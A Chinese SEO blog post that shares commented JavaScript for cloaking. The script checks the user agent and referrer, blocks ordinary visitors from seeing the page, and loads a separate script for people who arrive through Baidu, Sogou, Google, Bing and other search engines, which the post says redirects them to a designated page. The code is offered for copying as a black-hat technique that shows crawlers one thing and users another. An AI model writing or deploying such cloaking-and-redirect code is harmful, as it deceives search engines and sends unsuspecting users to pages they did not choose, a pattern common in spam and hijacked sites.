同样实在别人的网站上获取到的js代码。如果非指定搜索引擎爬虫则屏蔽(游客跳转屏蔽代码),如果是搜索引擎收录页面点入的链接,则跳转指定页面。
原代码中并非是直接跳转,而是引用了外部的js,我这里稍微修改了一下,引用了本地的js,您可以根据实际需求修改。
同样为了放置小白看不懂,增加了足够多的注解代码,代码如下:
var ua = navigator.userAgent,//获取当前用户UA _r = document.referrer, _d = new Date(), h = _d.getHours(),//获取当前小时 b = ua.match(/Baiduspider/i) == "Baiduspider", s = ua.match(/Sogou/i) == "Sogou", sm = ua.match(/YisouSpider/i) == "YisouSpider", bing = ua.match(/bingbot/i) == "bingbot", so = ua.match(/360Spider/i) == "360Spider", _so = _r.match(/so.com/i) == "so.com", _s = _r.match(/sogou.com/i) == "sogou.com", _sm = _r.match(/sm.cn/i) == "sm.cn", _bing = _r.match(/bing.com/i) == "bing.com", c = _r.match(/baidu.com/i) == "baidu.com"; if (!b && !c && !s && !_s && !so && !_so && !bing && !_bing && !sm && !_sm && (h >= 0 && h <= 24)) { document.writeln("<script type=\'text/javascript\' src=\'/pingbi.js\'></script>");//如果不是蜘蛛,那么就是游客访问,则屏蔽 } else if (_r.indexOf("b" + "ai" + "du") > 0 || _r.indexOf("s" + "ogou") > 0 || _r.indexOf("s" + "m") > 0 || _r.indexOf("360") > 0 || _r.indexOf("s" + "o") > 0 || _r.indexOf("go" + "o" + "gle") > 0 || _r.indexOf("bing") > 0 || _r.indexOf("youdao") > 0) { document.write("<script type='text/javascript' src='qt.js'></script>");//如果点击来源于百度/搜狗/神马/360/搜狐/google/必应/有道,那么引用什么js }
上面代码中,把搜索引擎UA进行了简化,其中:
navigator.userAgent属性:HTTP 请求的用户代理头的值;
Document.referrer属性:返回URI链接到此页面的页面;
document.writeln属性:是向文档中写入一串文本,并紧跟着一个换行符;
document.write属性:javascript输出html元素;
上面的pingbi.js和qt.js都是引用的本地js,这边没有分享,您自己修改一下即可。
本站所有内容仅限用于学习和研究目的,程序仅供本地断网测试,转载请说明出处!
站群SEO » 如果是游客则屏蔽,如果是收录页面点入则跳转的js代码
站群SEO » 如果是游客则屏蔽,如果是收录页面点入则跳转的js代码